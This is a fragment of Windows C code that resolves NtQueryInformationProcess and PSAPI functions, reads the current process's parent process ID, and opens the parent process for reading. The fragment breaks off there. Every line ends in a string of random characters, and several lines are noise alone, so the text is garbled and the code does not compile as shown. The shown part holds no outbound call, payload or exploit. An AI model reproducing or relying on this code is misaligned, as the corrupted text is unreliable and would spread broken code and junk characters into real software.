DWORD BasePriority; (C%qA<6
ULONG UniqueProcessId; t+j dV
ULONG InheritedFromUniqueProcessId; 3M'Y'Szm
} PROCESS_BASIC_INFORMATION; ej&o,gX
:U]Pm:ivTU
PROCNTQSIP NtQueryInformationProcess; mXMU
fSGaUBiq}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'C;KNc
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r4iT
9D
&yqk96z
HANDLE hProcess; z ^y -A?
PROCESS_BASIC_INFORMATION pbi; =,08D^ xY
Tc|+:Usy
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %;J$ h^
if(NULL == hInst ) return 0; N]GF>kf:
cCIs~*D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Z$)t%'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qSaCl6[Do
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E.^u:0:P
k\ZU%"^J
if (!NtQueryInformationProcess) return 0; 9Z3Vf[n5\
eO{2rV45O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WckWX]};S
if(!hProcess) return 0; pwF])uf*{\
Hq,NOP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nQn=zbZ3
9A}y^=!`
CloseHandle(hProcess); Xj:\B] v]
'%a:L^a?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (D\`:1g
if(hProcess==NULL) return 0; [&zSY